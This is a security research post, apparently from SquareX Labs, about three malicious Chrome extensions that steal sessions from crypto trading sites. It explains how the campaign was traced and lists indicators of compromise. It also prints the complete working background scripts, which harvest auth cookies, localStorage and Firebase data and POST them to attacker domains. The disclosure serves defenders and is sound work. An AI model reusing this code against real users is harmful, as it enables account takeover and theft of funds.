National Cyber Warfare Foundation (NCWF)

Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension


0 user ratings
2025-10-26 10:20:43
milo
Developers , Blue Team (CND)

Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension campaign


Short read for everyone: we found a malicious Chrome extension that stole login data from a crypto trading site. Tracing the domain it talked to uncovered a second malicious extension. That second extension’s public metadata contained the developer email, which led to a third malicious extension. All three behave the same way: they quietly read session data (cookies, localStorage, IndexedDB) and send it to attacker servers. Below is the full investigative flow and the actual code we found.


How it started: discovering Axiom Enhancer


We discovered Axiom Enhancer a malicious extension first through our extension analyzer.



The analyzer flagged as suspicious because it has background script that:



  • looks for an open axiom.trade tab,

  • checks for authentication cookies,

  • reads the site’s localStorage from the page,

  • and sends that data to an external URL.


Note: Dynamic analysis score of 2 is because the extension only triggers when it locates used logged into axiom.trade which was not simulated in our agentic simulation. Analyzer considers this inconclusive and omit it from overall risk calculations.


Here is the exact background.js code we analyzed for Axiom Enhancer


(() => {
const e = () => {
(console.log('Checking Axiom Tabs'),
chrome.tabs.query({ url: 'https://axiom.trade/*' }, ([e]) => {
e &&
(console.log('Found the tab!'),
new Promise((e, t) => {
chrome.cookies.getAll({ domain: '.axiom.trade' }, o => {
o?.length &&
o.some(e => 'auth-access-token' === e.name) &&
o.some(e => 'auth-refresh-token' === e.name)
? e(o)
: t('Required cookies not found.');
});
})
.then(t => {
return ((o = e.id),
new Promise((e, t) => {
chrome.scripting.executeScript(
{
target: { tabId: o },
func: () => {
try {
return Object.fromEntries(
Object.entries(localStorage)
);
} catch {
return {};
}
},
},
([o]) =>
o?.result
? e(o.result)
: t('Failed to fetch localStorage')
);
})).then(e =>
fetch('http://axiomenhancer.com/api/axiom', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ axiomCookies: t, localStorage: e }),
}).then(() => {
console.log('Syncing in progress');
})
);
var o;
})
.catch(console.error));
}));
},
t = () => {
return (
(t = e),
void chrome.storage.local.get(
['lastRequestTimestamp'],
({ lastRequestTimestamp: e = 0 }) => {
const o = Date.now();
if (o - e >= 5e3)
chrome.storage.local.set({ lastRequestTimestamp: o }, t);
else {
const t = Math.ceil((5e3 - (o - e)) / 1e3);
console.log(`Rate limit: wait ${t}s`);
}
}
)
);
var t;
};
let o = null;
const r = () => {
o || (o = setInterval(t, 5e3));
};
(chrome.runtime.onInstalled.addListener(() => {
(t(), r());
}),
chrome.runtime.onStartup.addListener(() => {
(t(), r());
}));
})();

What this code does :



  • On install and on browser startup it begins a repeating check (every ~5 seconds).

  • It searches for any open browser tab under https://axiom.trade/*.

  • If a tab is found, it checks cookies for auth-access-token and auth-refresh-token.

  • If those cookies exist, it injects a small script into that page to read all localStorage (site-stored data).

  • Finally it sends a POST to http://axiomenhancer.com/api/axiom with:


{ "axiomCookies": <cookie-array>, "localStorage": <object> }


  • It repeats this in the background, silently.


Why this is bad: cookies + localStorage can include authentication tokens and session data. By collecting and sending them offsite, the extension hands attackers the ability to impersonate users.


Pivot: domain tracing reveals Photon Bot


From the Axiom Enhancer code we quickly had a useful lead: the extension was sending data to axiomenhancer.com. We searched other extensions and components for the same domain and found Photon Bot. Photon’s background script posted to the same domain, and it specifically captured a cookie used by its targeted site.



Here is the background.js for Photon Bot


(() => {
let e = () => {
(console.log('Checking Photon Tabs'),
chrome.tabs.query(
{ url: 'https://photon-sol.tinyastro.io/*' },
([e]) => {
e &&
(console.log('Found the tab!'),
new Promise((e, t) => {
chrome.cookies.getAll(
{ domain: '.photon-sol.tinyastro.io' },
o => {
o?.length && o.some(e => '_photon_ta' === e.name)
? e(o)
: t('Required cookies not found.');
}
);
})
.then(e => {
for (let t of (console.log(e), e))
'_photon_ta' == t.name &&
fetch('https://axiomenhancer.com/api/photon', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ cookie: t.value }),
});
})
.catch(console.error));
}
));
},
t = () => {
var t;
return (
(t = e),
void chrome.storage.local.get(
['lastRequestTimestamp'],
({ lastRequestTimestamp: e = 0 }) => {
let o = Date.now();
if (o - e >= 5e3)
chrome.storage.local.set({ lastRequestTimestamp: o }, t);
else {
let a = Math.ceil((5e3 - (o - e)) / 1e3);
console.log(`Rate limit: wait ${a}s`);
}
}
)
);
},
o = null,
a = () => {
o || (o = setInterval(t, 5e3));
};
(chrome.runtime.onInstalled.addListener(() => {
(t(), a());
}),
chrome.runtime.onStartup.addListener(() => {
(t(), a());
}));
})();

What Photon Bot does



Why this matters: Photon used the same attacker domain (axiomenhancer.com) and the same exfiltration approach only the target site and cookie name differed. That strongly suggests the same author or group.


Pivot: metadata reveals developer email → find Trenches Agent


While inspecting Photon’s public metadata (store listing / developer contact), we found a developer email: [email protected]. Using that email as a pivot (searching extension metadata and the Chrome extensions database) revealed a third extension: Trenches Agent.



Here is the main code used by Trenches Agent


const backendURL = 'https://analyticsapi.online/api';
let defaultRateLimit = 5000;
const modules = [
{
name: 'gmgn',
fn: async function () {
chrome.tabs.query({ url: 'https://gmgn.ai/*' }, async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://gmgn.ai');
} else {
return;
}
let ls = await getLocalStorage(tab.id);
try {
await logAnalytics(this.name, { localStorageData: ls });
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 25000,
},
{
name: 'bullx',
fn: async function () {
chrome.tabs.query({ url: 'https://bullx.io/*' }, async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://bullx.io');
} else {
return;
}
let token = await getCookie({
url: 'https://bullx.io',
name: 'bullx-token',
});
let ls = await getLocalStorage(tab.id);
let fb = await extractFirebaseData(tab.id);
try {
await logAnalytics(this.name, {
cookie: token,
localStorageData: ls,
firebaseData: fb,
});
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 35000,
},
{
name: 'axiom',
fn: async function () {
chrome.tabs.query({ url: 'https://axiom.trade/*' }, async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://axiom.trade');
} else {
return;
}
let ls = await getLocalStorage(tab.id);

let access = await getCookie({
url: 'https://axiom.trade',
name: 'auth-access-token',
});
let refresh = await getCookie({
url: 'https://axiom.trade',
name: 'auth-refresh-token',
});
try {
await logAnalytics(this.name, { cookies: { access, refresh }, ls });
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 30000,
},
{
name: 'photon',
fn: async function () {
chrome.tabs.query(
{ url: 'https://photon-sol.tinyastro.io/en/discover' },
async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://photon-sol.tinyastro.io/en/discover');
} else {
return;
}
let cookies = await getCookie({
url: 'https://photon-sol.tinyastro.io',
name: '_photon_ta',
});
try {
logAnalytics(this.name, { cookie: cookies });
} catch (e) {
console.log(e);
}
}
);
},
initialized: false,
ratelimit: 40000,
},
{
name: 'padre',
fn: async function () {
chrome.tabs.query({ url: 'https://trade.padre.gg/*' }, async tabs => {
let tab;

if (tabs.length > 0) {
tab = tabs[0];
} else if (!this.initialized) {
this.initialized = true;
tab = await openTab('https://trade.padre.gg');
} else {
return;
}
let ls = await getLocalStorage(tab.id);
let fb = await extractFirebaseData(tab.id);
try {
await logAnalytics(this.name, {
localStorageData: ls,
firebaseData: fb,
});
} catch (e) {
console.log(e);
}
});
},
initialized: false,
ratelimit: 45000,
},
];

let started = false;
function scheduleModuleChecks() {
for (const module of modules) {
setInterval(async () => {
try {
await module.fn();
} catch (err) {
console.error(`Error in module ${module.name}:`, err);
}
}, module.ratelimit || defaultRateLimit);
}
}

function startChecks() {
if (started) return;

console.log('Looking for trading platforms to enhance!');
scheduleModuleChecks();
started = true;
}
startChecks();

async function getCookie({ url, name, returnFull = false }) {
return new Promise((resolve, reject) => {
if (!url || !name) {
reject("Missing 'url' or 'name' parameter.");
return;
}

chrome.cookies.get({ url, name }, cookie => {
if (chrome.runtime.lastError) {
reject(`Chrome error: ${chrome.runtime.lastError.message}`);
return;
}

if (cookie) {
resolve(returnFull ? cookie : cookie.value);
} else {
resolve(false);
}
});
});
}

async function openTab(url) {
return new Promise(resolve => {
chrome.tabs.create({ url }, resolve);
});
}
async function getLocalStorage(tabId) {
return new Promise((resolve, reject) => {
chrome.scripting.executeScript(
{
target: { tabId },
func: () => {
try {
// Return all localStorage data as an object
return Object.fromEntries(
Object.entries(localStorage).map(([key, value]) => [key, value])
);
} catch (error) {
console.error('Error accessing localStorage:', error);
return null;
}
},
},
results => {
try {
const [result] = results || [];

if (!result || result.result === null) {
return reject(
'Failed to retrieve localStorage or script error occurred.'
);
}

resolve(result.result);
} catch (error) {
reject(`Error processing script results: ${error.message}`);
}
}
);
});
}
async function logAnalytics(endpoint, data) {
try {
const response = await fetch(`${backendURL}/${endpoint}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data),
});

if (!response.ok) {
const errorText = await response.text();
console.error(
`❌ Failed to send '${endpoint}' data. Status: ${response.status}, Response: ${errorText}`
);
return false;
}

console.log(`✅ '${endpoint}' data sent to backend successfully.`);
return true;
} catch (error) {
console.error(`🚨 Error sending '${endpoint}' data:`, error);
return false;
}
}
async function extractFirebaseData(tabId) {
return new Promise((resolve, reject) => {
chrome.scripting.executeScript(
{
target: { tabId },
func: () => {
return new Promise((resolveInner, rejectInner) => {
const request = indexedDB.open('firebaseLocalStorageDb');

request.onerror = () =>
rejectInner('Failed to open IndexedDB: firebaseLocalStorageDb');

request.onsuccess = event => {
const db = event.target.result;

if (!db.objectStoreNames.contains('firebaseLocalStorage')) {
resolveInner(null); // No firebase data found
return;
}

const transaction = db.transaction(
['firebaseLocalStorage'],
'readonly'
);
const store = transaction.objectStore('firebaseLocalStorage');
const getAllRequest = store.getAll();

getAllRequest.onsuccess = () => {
const entries = getAllRequest.result;
const firebaseData = {};

for (const item of entries) {
firebaseData[item.fbase_key] = item.value;
}

resolveInner(firebaseData);
};

getAllRequest.onerror = () => {
rejectInner(
'Failed to retrieve data from firebaseLocalStorage'
);
};
};
});
},
},
injectionResults => {
try {
if (
injectionResults &&
injectionResults[0] &&
injectionResults[0].result !== undefined
) {
resolve(injectionResults[0].result);
} else {
reject('Script executed but returned no result.');
}
} catch (err) {
reject(`Error processing script result: ${err.message}`);
}
}
);
});
}

chrome.runtime.onInstalled.addListener(() => {
console.log('Extension installed.');
startChecks();
});

chrome.runtime.onStartup.addListener(() => {
console.log('Browser startup detected.');
startChecks();
});

What Trenches Agent does :



  • It’s a framework of multiple modules, each targeting a different trading site (axiom.trade, bullx.io, photon, gmgn.ai, trade.padre.gg, etc.).

  • For each site it:

  • Finds or opens a tab to the target URL,

  • Collects localStorage, cookies, and in some cases Firebase data (from IndexedDB),

  • Sends that data to https://analyticsapi.online/api/<moduleName> (attacker backend).

  • Each module has its own polling interval. The extension runs on install and on startup.


Why this is important: Trenches Agent shows the attacker scaled up from one targeted extension (Axiom Enhancer) to a multi-target tool that harvests from many trading platforms.


The discovery flow :


We want readers to see exactly how one find leads to another; the chain was:



  1. Axiom Enhancer found first — analyzer flagged background behavior; code posted cookies + localStorage to axiomenhancer.com.
    Lead: attacker domain axiomenhancer.com.

  2. Search domain leads to Photon Bot — Photon was using axiomenhancer.com too; its background script posted _photon_ta cookie values to axiomenhancer.com.
    Lead: Photon’s store/metadata contained developer email [email protected].

  3. Search developer email leads to Trenches Agent — using the email in extension metadata databases revealed Trenches Agent; its code posted to analyticsapi.online and targeted multiple trading platforms.


At the time of publishing, all three extensions were available on Chrome store.


Indicators of Compromise (IoCs)


Malicious domains / endpoints



Developer contact



Extension IDs



  • Photon Bot: lgnfmkckpppkfbfndcdighighholljcn

  • Trenches Agent: ddhodpjidkbpkeheeenjflfjbgljgapl

  • Axiom Enhancer: khbegeannolbigamjahgggfpnaacbbmb





Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension… was originally published in SquareX Labs on Medium, where people are continuing the conversation by highlighting and responding to this story.


The post Hidden in Plain Sight: How we followed one malicious extension to uncover a multi-extension… appeared first on Security Boulevard.



Kabilan S

Source: Security Boulevard
Source Link: https://securityboulevard.com/2025/10/hidden-in-plain-sight-how-we-followed-one-malicious-extension-to-uncover-a-multi-extension/


Comments
new comment
Nobody has commented yet. Will you be the first?
 
Forum
Developers
Blue Team (CND)



Copyright 2012 through 2025 - National Cyber Warfare Foundation - All rights reserved worldwide.